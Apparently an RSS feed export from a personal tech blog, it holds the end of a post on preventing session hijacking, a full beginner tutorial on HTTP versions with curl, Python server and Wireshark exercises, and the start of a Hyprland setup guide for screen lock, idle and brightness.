<p>Spotube is a privacy focused Spotify client which block ads and remove many spotify's restrictions in free plan. But, to load your spotify playlists, liked song, and recommendation. Spotube needs spotify account access. Usually it's done by provide credentials to third-party in this case Spotube. Which is really uncomfortable, because by doing so you're trusting Spotube with your <code>email</code> and <code>password</code>. So, Instead of that, Spotube asks you to enter <em>Session Token</em> instead of spotify credentials this way spotube can fetch your music preferences from spotify without reveling credentials.</p>
<blockquote>
<p><strong>Note:</strong> This is only true for older versions of Spotube's desktop client, not mobile clients.</p>
</blockquote>
<h2 id="heading-prevent-session-hijacking">Prevent Session Hijacking</h2>
<p>Session hijacking or token stealing is a powerful and stealthy attack. But it require access to the system whether it's physical or remote. At the same, prevention of this attack needs attentions both sides User's side and developer side, more on developer.</p>
<h3 id="heading-developer-amp-users-responsibility">Developer &amp; User's Responsibility</h3>
<ol>
<li><p>Physical Access</p>
<ul>
<li><p>Don't allow anyone access to your hardware, anyone!</p>
</li>
<li><p>If it's not possible, <strong>logout every time</strong>, when you're done.</p>
</li>
<li><p>Remember Often, Those Closest to You Make You More Vulnerable Than You Realize.</p>
</li>
</ul>
</li>
<li><p>Remote Access</p>
<ul>
<li><p>Think twice before installing any application because most applications have file-system access. That means discord can hack into your spofity if they want to or vice versa.</p>
</li>
<li><p>Don't just relay on Antivirus because read file on system is not a malicious activity.</p>
</li>
<li><p><strong>Logout every time</strong>, when you're done. If possible <strong>Logout from all devices</strong> frequently.</p>
</li>
</ul>
</li>
<li><p>Secure Development</p>
<ul>
<li><p>Regenerating session IDs after a user logs in.</p>
</li>
<li><p>Give option to revoke all session after password reset.</p>
</li>
<li><p>Using secure cookies (e.g., HttpOnly, Secure)</p>
<ul>
<li><p>HttpOnly cookies are not accessible through JavaScript and are only transmitted over HTTP.</p>
</li>
<li><p>Hence it is also important to use secure protocols (HTTPS) to transmit cookies.</p>
</li>
</ul>
</li>
<li><p>Implementing session timeouts and expiration</p>
</li>
<li><p>Use secure authentication mechanisms, such as OAuth or OpenID Connect, to prevent unauthorized access.</p>
</li>
</ul>
</li>
</ol>
<h2 id="heading-logout-vs-clear-browser-history">Logout vs Clear Browser History</h2>
<p>When I ask my friends, “What’s the best way to protect from hacker?” Option A: <em>Logout</em>, Option B: <strong>Clear History</strong>. Their go-to answer is almost always, “Clear browser history.” Makes sense, right? No history, no problems. Except, uh, no. While clearing history does help protect your privacy and chances of getting new tokens stolen, but what about those that are already stolen by hacker? So from a security standpoint, it’s not the silver bullet they think it is.</p>
<p>Here’s the deal: hackers who get hold of your device can steal your session tokens, which are basically golden tickets that let them bypass your passwords and multi-factor authentication. But twist is, logging out kills those tokens. If your account has been compromised but the hacker hasn’t changed the password, you can still kick him out by logging out from your device. This will expires their session token so they cannot continue accessing your account and gives you a chance to secure it. So, when it comes to security of your accounts, logging out is even more crucial.</p>
<blockquote>
<p><strong>Tips for Developers:</strong> Never let users change the password without confirming current password.</p>
</blockquote>
<p>Here’s What I Personally Recommend:</p>
<ul>
<li><p>Enable <code>Clear History on Exit</code> feature in your browser (note: this feature is not available in Google Chrome).</p>
</li>
<li><p>Make logging out a habit—every time, even before clearing history.</p>
</li>
</ul>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Session Hijacking is a significant security threat that exploits the flaws of the HTTP protocol. By understanding how session tokens work and the potential risks associated with them, both users and developers can take proactive measures to protect against such attacks. Users should be vigilant about their online activities, ensuring they log out of accounts and avoid installing untrusted applications.</p>
<p>Developers, on the other hand, should implement robust security practices, such as using secure cookies, regenerating session IDs, and enforcing session timeouts. By working together, we can mitigate the risks of session hijacking and enhance the overall security of web applications.</p>
<p>For further insights into the foundational concepts of HTTP that are essential for understanding session hijacking, be sure to check out part-1 of this series, "HTTP for Hackers and Developers."</p>
]]></content:encoded></item><item><title><![CDATA[A Comprehensive Guide to the Web's Core Protocol, HTTP for Hacker & Developers]]></title><description><![CDATA[Overview of HTTP
Hypertext Transfer Protocol (HTTP) is an application-layer protocol or layer 7 protocol on OSI model. It was introduced in 1991 by Sir Tim Berners-Lee, British computer scientist who also created the World Wide Web (WWW). It was desi...]]></description><link>https://flarexes.com/a-comprehensive-guide-to-the-webs-core-protocol-http-for-hacker-developers</link><guid isPermaLink="true">https://flarexes.com/a-comprehensive-guide-to-the-webs-core-protocol-http-for-hacker-developers</guid><category><![CDATA[http]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[networking]]></category><category><![CDATA[Web Development]]></category><category><![CDATA[Programming Blogs]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[FlareXes]]></dc:creator><pubDate>Wed, 25 Dec 2024 23:30:45 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1734656827905/9509bc80-ed26-48b2-b77f-a84a627b2894.gif" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-overview-of-http">Overview of HTTP</h1>
<p>Hypertext Transfer Protocol (HTTP) is an <strong>application-layer protocol</strong> or layer 7 protocol on OSI model. It was introduced in 1991 by Sir Tim Berners-Lee, British computer scientist who also created the World Wide Web (WWW). It was designed for transmitting hypermedia documents over the internet, such as HTML. HTTP protocol defines set of rules for how data should be formatted and transmitted between the client and server. This ensures reliable and standardized communication. A crucial point to understand that, <strong>HTTP is a stateless protocol</strong> that means each request from a client to a server is independent and unrelated to any previous requests because of that the server does not keep any data (state) between two requests. More on that in cookies section.</p>
<h2 id="heading-client-server-architecture">Client-Server Architecture</h2>
<p>HTTP protocol follows <em>Client-Server</em> architecture, with a client (e.g., web browser) opening a connection to make a request, then waiting until it receives a response from server or request get timeout. HTTP operates on <strong>Transmission Control Protocol (TCP)</strong> which ensure reliable, ordered, error-checked delivery and completeness of data transmission.</p>
<ul>
<li><p><strong>Client:</strong></p>
<ul>
<li>Web Browsers, Programming Languages, or Many App That Can Make HTTP Request such as, Curl.</li>
</ul>
</li>
<li><p><strong>Server:</strong></p>
<ul>
<li>Well-Known HTTP Web Servers e.g. - Nginx, IIS, NodeJS, Apache Tomcat etc.</li>
</ul>
</li>
</ul>
<h1 id="heading-importance-of-understanding-http">Importance of Understanding HTTP</h1>
<p>HTTP is a core foundation of today's technological world. As a programmer and hacker, HTTP protocol gives you understanding of writing better web-based applications and secure applications too. It gives you a distinct view of looking a website and debug them.</p>
<p>Let's understand with an example, Do you know that you can access different resources or perform different actions if I make a request to same URI like <a target="_blank" href="http://flarexes.com/action"><code>flarexes.com/action</code></a>. You may be thing but how? Different response from same request URI? This is possible via various ways but common one is <strong>HTTP Methods</strong>. I will cover them later. But sometimes programmers don't restrict allowed HTTP methods and this become a dangling point where a hacker you can potentially find a enter point.</p>
<p>Having basic understanding of HTTP is invaluable for <strong>Web Development</strong>, <strong>API Development</strong>, <strong>Performance Optimization</strong>, <strong>Security</strong>, <strong>Troubleshooting and Debugging</strong>.</p>
<h1 id="heading-fundamentals-of-http">Fundamentals of HTTP</h1>
<p>One good thing about this protocol is, it's super simple to understand. I recommend you going through it's RFCs when you have time. It's just a formatted text that has been standardized.</p>
<p>From client-server architecture section, we know that HTTP has two main components. First, Request that client makes and second, response that server sends. So, Let's understand both of them. We'll also take a seek-peek of "how this standardized format looks like?".</p>
<h2 id="heading-http-request">HTTP Request</h2>
<p>An HTTP request is made by a <em>client to server</em> asking to access a resource on the server.</p>
<p>A correctly composed HTTP request contains the following elements:</p>
<ol>
<li><p><strong>Method</strong></p>
<ul>
<li>HTTP supports a set of methods, which defines the action to be performed on a given resource. e.g. - <strong>GET, POST, DELETE, PUT, OPTIONS</strong>.</li>
</ul>
</li>
<li><p><strong>Request-URI</strong></p>
<ul>
<li>A Request-URI locates to an existing resource on the internet, such as HTML or Image. e.g. - <strong>/path/images/cat.png</strong>.</li>
</ul>
</li>
<li><p><strong>HTTP Version</strong></p>
<ul>
<li>HTTP version indicates server which version of HTTP client is using. This wasn't mandatory in HTTP/0.9 and HTTP/1.0. It is important to note it allow server to respond appropriately otherwise it might cause issues because newer versions of HTTP has features that previous once don't support.</li>
</ul>
</li>
<li><p><strong>Headers</strong></p>
<ul>
<li>Headers let the client and server transmit additional information with an HTTP request or response. There are many standard HTTP headers defined in HTTP specification. Like <code>Host</code> which is a mandatory field except for <strong>HTTP/0.9</strong>. But client and server also add custom headers like <code>x-token</code> or anything meaningful.</li>
</ul>
</li>
<li><p><strong>Blank Line</strong></p>
<ul>
<li>To indicate end of headers (if there is a body, an optional HTTP specification).</li>
</ul>
</li>
</ol>
<p>Example of simplest possible HTTP request:</p>
<pre><code class="lang-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/resourse</span> HTTP/1.1
<span class="hljs-attribute">Host</span>: api.example.com
</code></pre>
<h2 id="heading-http-response">HTTP Response</h2>
<p>An HTTP response is made by the <em>server to client</em> in response to it's request. A response contains the requested resource with other information which client can interpret.</p>
<p>A common composed HTTP response contains the following elements:</p>
<ol>
<li><p><strong>HTTP Version</strong></p>
<ul>
<li>Same as HTTP request from client, server also send HTTP version to client indicating which version of HTTP server is using. To avoid any conflicts in future.</li>
</ul>
</li>
<li><p><strong>Status Code</strong></p>
<ul>
<li>A status code is a three-digit number indicating the result type of the response, was it success, fail or unauthorized.</li>
</ul>
</li>
<li><p><strong>Status Text</strong></p>
<ul>
<li><p>A status text is human-readable text that summaries the meaning of the status code.</p>
<blockquote>
<p>Combination of <em>HTTP Version</em>, <em>Status Code</em>, <em>Status Text</em> is also known as <strong>Status Line</strong>.</p>
</blockquote>
</li>
<li><p>You can learn more about HTTP status codes MDN Documentation link below. Mainly, HTTP response are grouped in five classes:</p>
<ol>
<li><p><a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status#information_responses">Informational responses</a> (<code>100</code>–<code>199</code>)</p>
</li>
<li><p><a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status#successful_responses">Successful responses</a> (<code>200</code>–<code>299</code>)</p>
</li>
<li><p><a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status#redirection_messages">Redirection messages</a> (<code>300</code>–<code>399</code>)</p>
</li>
<li><p><a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status#client_error_responses">Client error responses</a> (<code>400</code>–<code>499</code>)</p>
</li>
<li><p><a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status#server_error_responses">Server error responses</a> (<code>500</code>–<code>599</code>)</p>
</li>
</ol>
</li>
</ul>
</li>
<li><p><strong>HTTP Header</strong></p>
<ul>
<li>HTTP response header contain information that client can use to learn more about the response type and server. Below is an example of HTTP response headers which tells client, when response was sent, it was sent by GWS and that was a JPEG image:</li>
</ul>
</li>
</ol>
<pre><code class="lang-http"><span class="hljs-attribute">Date</span>: Sat, 08 Jun 2024 12:07:48 GMT
<span class="hljs-attribute">Server</span>: gws
<span class="hljs-attribute">Content-type</span>: image/jpg
</code></pre>
<ol start="5">
<li><p><strong>Body</strong></p>
<ul>
<li><p>The message body in an HTTP response contain either the requested resource or additional information about the status of the action requested by the client. From out above example on headers, this could be an image.</p>
</li>
<li><p>Most responses have body except when client has used <strong>HEAD Method</strong>. Which request server to response headers without body. This come handle while debugging unexpected results.</p>
</li>
</ul>
</li>
</ol>
<h2 id="heading-hands-on-practical-lab">Hands-on Practical Lab</h2>
<p>There are hundreds of softwares, tools and utilities that allow users to send and receive HTTP headers. So, I'll first list few of my favourite once but later on I will be going with <code>curl</code>. Curl is wide-adopted command-line utility for interacting with HTTP and other protocols too. It's comes pre-installed in major UNIX/LINUX based operating system and can be installed in windows too.</p>
<ol>
<li><p><strong>Curl:</strong> Simple, easy, gets the job done.</p>
</li>
<li><p><strong>Python:</strong> Complete control over every aspect of the HTTP protocol.</p>
</li>
<li><p><strong>Postman:</strong> An another powerful API testing client known for its rich feature set.</p>
</li>
<li><p><strong>HTTPie:</strong> API testing client with cli &amp; gui versions. You can also try httpie online from <a target="_blank" href="https://httpie.io/app">HTTPie for Web</a>.</p>
</li>
<li><p><strong>Burp Suite:</strong> Hacker's favourite security testing software with extensive features including custom HTTP request capabilities.</p>
</li>
</ol>
<h3 id="heading-show-request-and-response-headers">Show Request and Response Headers</h3>
<p>Just looking at output below, you can tell alot of things. Client is requesting <code>/</code> or root of <code>Host</code> via <code>GET</code> method. Also request is contracted from curl. Server respond with the same version of HTTP that client used <strong>HTTP/1.1</strong> with status code <code>301</code> which means requested resource is moved to <code>Location:</code> <a target="_blank" href="http://www.google.com/"><code>http://www.google.com/</code></a>.</p>
<p>It's an interesting observation that you won't see while browsing <a target="_blank" href="http://google.com"><code>google.com</code></a> in web-browser. Google actually doesn't host anything on <a target="_blank" href="http://google.com"><code>google.com</code></a>, instead they redirect you to <a target="_blank" href="http://www.google.com"><code>www.google.com</code></a>.</p>
<pre><code class="lang-bash">$ curl -v google.com

&gt; GET / HTTP/1.1
&gt; Host: google.com
&gt; User-Agent: curl/8.8.0
&gt; Accept: */*
&gt;
* Request completely sent off
&lt; HTTP/1.1 301 Moved Permanently
&lt; Location: http://www.google.com/
&lt; Server: gws
&lt; Content-Length: 219
</code></pre>
<h3 id="heading-show-request-and-response-headers-with-redirects">Show Request and Response Headers with Redirects</h3>
<p>Below command follow all redirects till it keeping getting <strong>Location</strong> header in server's HTTP Response.</p>
<pre><code class="lang-bash">$ curl -L -v google.com

&gt; GET / HTTP/1.1
&gt; Host: google.com
&gt; User-Agent: curl/8.8.0
&gt; Accept: */*
&gt;
* Request completely sent off
&lt; HTTP/1.1 301 Moved Permanently
&lt; Location: http://www.google.com/
&lt;
&gt; GET / HTTP/1.1
&gt; Host: www.google.com
&gt; User-Agent: curl/8.8.0
&gt; Accept: */*
&gt;
* Request completely sent off
&lt; HTTP/1.1 200 OK
&lt; Date: Sat, 08 Jun 2024 10:57:17 GMT
&lt; Expires: -1
&lt; Cache-Control: private, max-age=0
&lt; Content-Type: text/html; charset=ISO-8859-1
</code></pre>
<h3 id="heading-send-request-from-specific-http-version">Send Request From Specific HTTP Version</h3>
<p>Keeping in mind not all websites supports ever HTTP versions. Let's explore the fact, in HTTP transmission both client and server use same HTTP version if they can.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># HTTP/0.9 Version </span>
$ curl --head --http0.9 https://vercel.com

HTTP/2 200
server: Vercel
</code></pre>
<p>As you see, when I make a HTTP GET request from <strong>HTTP/0.9</strong> version, server replied with <strong>HTTP/2</strong> that show vercel doesn't support HTTP/0.9 version. Curl's default request method is <strong>GET</strong> and <code>--head</code> means only show HTTP response header.</p>
<p>Now, Try these commands and check HTTP version vercel replys with. It would be same as request.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># HTTP/1.1 Version </span>
$ curl --head --http1.1 https://vercel.com

<span class="hljs-comment"># HTTP/2 Version </span>
$ curl --head --http2 https://vercel.com
</code></pre>
<h1 id="heading-evolution-of-http-versions">Evolution of HTTP Versions</h1>
<p>As far we have got the basic understanding of HTTP. However it's also important to know how it came so far. From a one line of protocol to spreading all over the internet, starting with <strong>HTTP/0.9</strong>.</p>
<h2 id="heading-http09-the-one-line-protocol">HTTP/0.9 – The One Line Protocol</h2>
<p>HTTP/0.9 was the simplest version of HTTP protocol. The request consists only possible method <strong>GET</strong>, followed by the path to the desired resource. There were no HTTP headers. This meant server can only respond with HTML files. After server every response connection get terminated.</p>
<pre><code class="lang-http"><span class="hljs-attribute">GET /mypage.html</span>
</code></pre>
<p><strong>Key Points:</strong></p>
<ul>
<li><p><strong>Request Format:</strong> GET Method + Path of the resource</p>
</li>
<li><p><strong>Response Content:</strong> Limited to hypertext files</p>
</li>
<li><p><strong>Supported Methods:</strong> Only <em>GET</em></p>
</li>
<li><p><strong>Connection Nature:</strong> Terminated once server dispatch response</p>
</li>
<li><p><strong>Limitation:</strong> No Headers, No Status Codes, No URLs, No Multimedia Files</p>
</li>
</ul>
<h2 id="heading-http10-the-building-block">HTTP/1.0 - The Building Block</h2>
<p><a target="_blank" href="https://datatracker.ietf.org/doc/html/rfc1945">RFC 1945 Outlined The HTTP 1.0 Protocol</a></p>
<p>To overcome the limitation of <strong>HTTP/0.9</strong>, a newer version <strong>HTTP/1.0</strong> was introduced after few years. Established connections in HTTP/1.0 are <strong>short-lived</strong>. That means, a new connection created for each request and closed once response had been received. Therefore HTTP/1.0 is <strong>Non-Persistent Connections.</strong></p>
<p>This was okay till modern web-pages started to get complex and required many requests to serve the page. HTTP/0.9 and HTTP/1.0 both are <strong>short-lived connections</strong> and <strong>Non-Persistent Connections.</strong> It lead to a different problem of <strong>Three-Way Handshake</strong>. HTTP is based on TCP that means a TCP handshake happens before each HTTP request and this in itself was time-consuming and resources heavy especially in 90's.</p>
<p>Example of HTTP/1.0 Request :</p>
<pre><code class="lang-http"><span class="hljs-attribute">GET /index.html HTTP/1.0 
Host</span>: www.example.com 
<span class="hljs-attribute">User-Agent</span>: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
<span class="hljs-attribute">Accept</span>: text/html,application/xml,image/jpeg
</code></pre>
<p>Example of HTTP/1.0 Response :</p>
<pre><code class="lang-http">HTTP/1.0 <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Date</span>: Mon, 10 Jun 2024 12:00:00 GMT
<span class="hljs-attribute">Server</span>: Apache/1.3.27 (Unix) (Red-Hat/Linux)
<span class="hljs-attribute">Content-Type</span>: text/html

<span class="solidity"><span class="hljs-operator">&lt;</span>html<span class="hljs-operator">&gt;</span>
A page with an image
  <span class="hljs-operator">&lt;</span>img SRC<span class="hljs-operator">=</span><span class="hljs-string">"/image.jpg"</span><span class="hljs-operator">&gt;</span>
<span class="hljs-operator">&lt;</span><span class="hljs-operator">/</span>html<span class="hljs-operator">&gt;</span></span>
</code></pre>
<p>Followed second connection will also fetch image.</p>
<pre><code class="lang-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/image.jpg</span> HTTP/1.0
<span class="hljs-attribute">User-Agent</span>: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
</code></pre>
<pre><code class="lang-http">HTTP/1.0 <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Date</span>: Mon, 10 Jun 2024 12:00:04 GMT
<span class="hljs-attribute">Server</span>: Apache/1.3.27 (Unix) (Red-Hat/Linux)
<span class="hljs-attribute">Content-Type</span>: text/jpeg
(image content)
</code></pre>
<p><strong>Key Points:</strong></p>
<ul>
<li><p><strong>Request:</strong> Rich Metadata, Headers, HTTP Version, Status Code, Multimedia etc</p>
</li>
<li><p><strong>Response:</strong> Not limited to hypertext</p>
</li>
<li><p><strong>Methods:</strong> GET , HEAD , POST</p>
</li>
<li><p><strong>Connection Nature:</strong> Short-Lived</p>
</li>
<li><p><strong>Limitations:</strong> CPU Overhead, Buffering and Redundant Requests (handshake for each request)</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735143642292/4d616c0f-b3f6-45ee-b93d-ce1cb3a6e1b6.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-http11-the-standardized-protocol">HTTP/1.1 - The Standardized Protocol</h2>
<p><a target="_blank" href="https://datatracker.ietf.org/doc/html/rfc2068">RFC 2068</a> Outlined The HTTP 1.1 Protocol</p>
<p>The first standardized HTTP protocol, <strong>HTTP/1.1</strong> was released in 1997. Since then it had been gone through two revisions, first in 1999 and second one in 2014. These changes were defined in <strong>RFC 2616</strong> and <strong>RFC 7230</strong> to <strong>RFC 7235</strong>. But the first official HTTP/1.1 standard is defined in <a target="_blank" href="https://datatracker.ietf.org/doc/html/rfc2068">RFC 2068</a>, which was officially released in January 1997, roughly seven months after the publication of HTTP/1.0. It's been over two decades still HTTP/1.1 is most used HTTP version.</p>
<p>HTTP/1.1 introduced numerous improvement and overcame issues such as <em>non-persistence connection</em> and <em>TCP handshake overhead</em>. A <strong>Keep-Alive</strong> header was added to HTTP/1.1 specification. This header tells the server to not to close the connection. Therefore HTTP/1.1 is <strong>Persistent Connections</strong>. <em>Persistent HTTP</em> connections are designed to allow multiple request/response exchange without establishing a new connection every time.</p>
<p>HTTP/1.1 also introduced <strong>Caching</strong> mechanisms and <strong>Pipelining</strong>. HTTP pipelining is a technique that allows multiple HTTP requests to be sent over a single TCP connection without waiting for each response before sending the next request.</p>
<p><strong>Key Points:</strong></p>
<ul>
<li><p><strong>Methods:</strong> GET , HEAD , POST , PUT , DELETE , TRACE , OPTIONS</p>
</li>
<li><p><strong>Connection Nature:</strong> Long-Lived</p>
</li>
<li><p><strong>Attack Surface:</strong> Prone to DOS Attack</p>
</li>
<li><p><strong>New Features:</strong> Pipelining , Caching , Persisted Connection</p>
</li>
<li><p><strong>Advantages:</strong> - Reduced Network Congestion, Chucked Transfer, Lower Resources Usage</p>
</li>
</ul>
<h2 id="heading-http20-and-http30-http-over-quic">HTTP/2.0 and HTTP/3.0 (HTTP Over QUIC)</h2>
<p>I will skip over from these two protocols. They both were designed to improve the performance of complex web-applications such as YouTube. HTTP/3 is still experimental but used by many web-applications. Story of these protocols is fascinating too but nothing much add here except the part now HTTP is moving to <strong>UDP With Congestion Control</strong> instead of TCP. You can easily spot QUIC protocol in Wireshark capture on youtube. However, you can read about them from reference section. And If you want me to cover it comment below or on my socials, I'll update the article.</p>
<p><strong>HTTP/1.1 and HTTP/2 performance demonstration</strong>.</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://www.youtube.com/watch?v=gqUCeGkTYjY">https://www.youtube.com/watch?v=gqUCeGkTYjY</a></div>
<p> </p>
<h1 id="heading-keep-alive-hands-on-practical-lab">Keep-Alive: Hands-on Practical Lab</h1>
<p>To see how <strong>HTTP/1.1</strong> handles network congestion with <strong>Keep-Alive</strong> header; we need two things.</p>
<ol>
<li><p>Active <strong><em>HTTP/1.0</em></strong> and <strong><em>HTTP/1.1</em></strong> servers to compare the difference</p>
</li>
<li><p>Wireshark to capture and analyze traffic</p>
</li>
</ol>
<h3 id="heading-analyzing-request-response-behavior-in-http10">Analyzing Request-Response Behavior in HTTP/1.0</h3>
<p><strong>Step 1:</strong> Create an html file named <code>index.html</code> and save an image under same directory named <code>./4k.jpg</code>.</p>
<pre><code class="lang-html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">html</span> <span class="hljs-attr">lang</span>=<span class="hljs-string">"en"</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"UTF-8"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"viewport"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"width=device-width, initial-scale=1.0"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>Document<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>This is me<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"./4k.jpg"</span> <span class="hljs-attr">alt</span>=<span class="hljs-string">""</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<p><strong>Step 2:</strong> Simplest way to start an HTTP/1.0 server is using Python.</p>
<pre><code class="lang-bash">python -m http.server 8000 --protocol=http/1.0
</code></pre>
<p>This command will spin up a simple http server on port 8000 with specified version in this case <strong>HTTP/1.0</strong>.</p>
<p><strong>Step 3:</strong> Verify server is responding in HTTP/1.0.</p>
<pre><code class="lang-bash">curl --head http://0.0.0.0:8000/

http/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.12.3
</code></pre>
<p><strong>Step 4:</strong> Spin up Wireshark and start capturing traffic on <a target="_blank" href="http://localhost">localhost</a> interface <strong><em>Loopback: lo</em></strong>. Then visit the website.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1734348629524/2712863a-30e8-4981-b6db-77503704b81d.png" alt class="image--center mx-auto" /></p>
<p>I redacted the unnecessary info but in boxes as you see. Their is a TCP handshake before each request. Now, In next section we will see how does HTTP/1.1 react to this situation.</p>
<h3 id="heading-analyzing-request-response-behavior-in-http11">Analyzing Request-Response Behavior in HTTP/1.1</h3>
<p><strong>Step 1:</strong> Let's restart http server again on same directory with same code but on <strong>HTTP/1.1</strong> version.</p>
<pre><code class="lang-bash">python -m http.server 8000 --protocol=http/1.1
</code></pre>
<p><strong>Step 2:</strong> Verify server is responding in HTTP/1.1.</p>
<pre><code class="lang-bash">curl --head http://0.0.0.0:8000/

http/1.1 200 OK
Server: SimpleHTTP/0.6 Python/3.12.3
</code></pre>
<p><strong>Step 4:</strong> Spin up Wireshark and start capturing traffic on <a target="_blank" href="http://localhost">localhost</a> interface <strong><em>Loopback: lo</em></strong>. Then visit the website.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1734348659815/edcb776a-2fb1-4392-a252-4a329b1ae5f6.png" alt class="image--center mx-auto" /></p>
<p>As you can see their was only one TCP handshake for both GET requests. And, In bottom-left you can also spot <code>Connection: keep-alive</code> in GET request headers. Now you know the difference between <strong>HTTP/1.0</strong> and <strong>HTTP/1.1</strong>. You can also test it by yourself; you don't have to trust on theories anymore.</p>
<p>I hope you found this help. In part-2 of this blog post. I'll go more into hacking side where we will explore, "How hacker hack youtube channels?" or "Why cookies were made? to spy on people?" then we might see a practical demonstration too as I always try to do.</p>
<p>Thanks for reading. I hope to see you in part-2.</p>
]]></content:encoded></item><item><title><![CDATA[Hyprland Getting-Started: Configure Screen Lock, Brightness, Volume, Authentication and More]]></title><description><![CDATA[You can find the bash scripts and configurations at https://github.com/FlareXes/dotfiles. New scripts are regularly added, and existing ones are kept up to date. Feel free to explore the repository. I]]></description><link>https://flarexes.com/hyprland-getting-started-configure-screen-lock-brightness-volume-authentication-and-more</link><guid isPermaLink="true">https://flarexes.com/hyprland-getting-started-configure-screen-lock-brightness-volume-authentication-and-more</guid><category><![CDATA[hyprland]]></category><category><![CDATA[Linux]]></category><category><![CDATA[Bash]]></category><category><![CDATA[automation]]></category><category><![CDATA[Programming Blogs]]></category><dc:creator><![CDATA[FlareXes]]></dc:creator><pubDate>Tue, 24 Dec 2024 23:30:24 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1734656789959/2ac96689-f21c-45cc-a0db-323f4d2750a5.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>You can find the bash scripts and configurations at <a href="https://github.com/FlareXes/dotfiles"><code>https://github.com/FlareXes/dotfiles</code></a>. New scripts are regularly added, and existing ones are kept up to date. Feel free to explore the repository. If you have any questions, I'm here to help!</p>
<h2>Screen Lock</h2>
<p>Install <code>hyprlock</code></p>
<pre><code class="language-bash">sudo pacman -S hyprlock
</code></pre>
<p>Edit <code>hyprland.conf</code> under <code>~/.config/hypr/hyprland.conf</code>, to lock screen on <code>super + l</code>.</p>
<pre><code class="language-ini"># Mute and lock the system
bind = $mainMod, L, exec, pactl set-sink-mute @DEFAULT_SINK@ 1 &amp;&amp; hyprlock
</code></pre>
<p>You can learn more about <code>hyprlock</code> configuration at <a href="https://wiki.hyprland.org/Hypr-Ecosystem/hyprlock/">Hyprland Wiki</a>.</p>
<h3>Screen Lock on Timeout</h3>
<p>Install <code>hypridle</code></p>
<pre><code class="language-bash">sudo pacman -S hypridle
</code></pre>
<p>Create <code>hypridle.conf</code> under <code>~/.config/hypr/hypridle.conf</code>, to configure idle state.</p>
<pre><code class="language-ini">general {
    lock_cmd = pidof hyprlock || hyprlock
    before_sleep_cmd = loginctl lock-session    # lock before suspend
    after_sleep_cmd = hyprctl dispatch dpms on
}

# Lock the screen (10 min)
listener {
    timeout = 600
    on-timeout = loginctl lock-session
}

# Turn off screen (15 min)
listener {
    timeout = 900
    on-timeout = hyprctl dispatch dpms off
    on-resume = hyprctl dispatch dpms on
}

# Suspend the system (30 min)
listener {
    timeout = 1800
    on-timeout = systemctl suspend
}
</code></pre>
<ul>
<li><p><code>lock_cmd</code>: only execute <code>hyprlock</code> if not running, to avoid multiple instance of <code>hyprlock</code>.</p>
</li>
<li><p>Lock screen after 10 minutes without turning off the screen.</p>
</li>
<li><p>Turn off the screen after 15 minutes and turn on when activity is detected.</p>
</li>
<li><p>Suspend the system after 30 minutes to save power.</p>
</li>
</ul>
<p>Edit <code>~/.config/hypr/hyprland.conf</code> to autostart <code>hypridle</code> once user login.</p>
<pre><code class="language-ini">exec-once = hypridle
</code></pre>
<p>You can learn more about <code>hypridle</code> configuration at <a href="https://wiki.hyprland.org/Hypr-Ecosystem/hypridle/">Hyprland Wiki</a>.</p>
<h2>Brightness Adjustment</h2>
<p>Install</p>
<ul>
<li><code>brightnessctl</code> for brightness adjustments, <em>required</em>.</li>
</ul>
<pre><code class="language-bash">sudo pacman -S bc brightnessctl
</code></pre>
<p>Edit <code>~/.config/hypr/hyprland.conf</code> to control brightness via keyboard function keys.</p>
<pre><code class="language-ini">bind = , code:232, exec, brightnessctl set 5%-
bind = , code:233, exec, brightnessctl set +5%
</code></pre>
<h2>Volume Adjustment</h2>
<p>Install</p>
<ul>
<li><code>playerctl</code> media player controller for wide range of application. Here, required to pause audio/video.</li>
</ul>
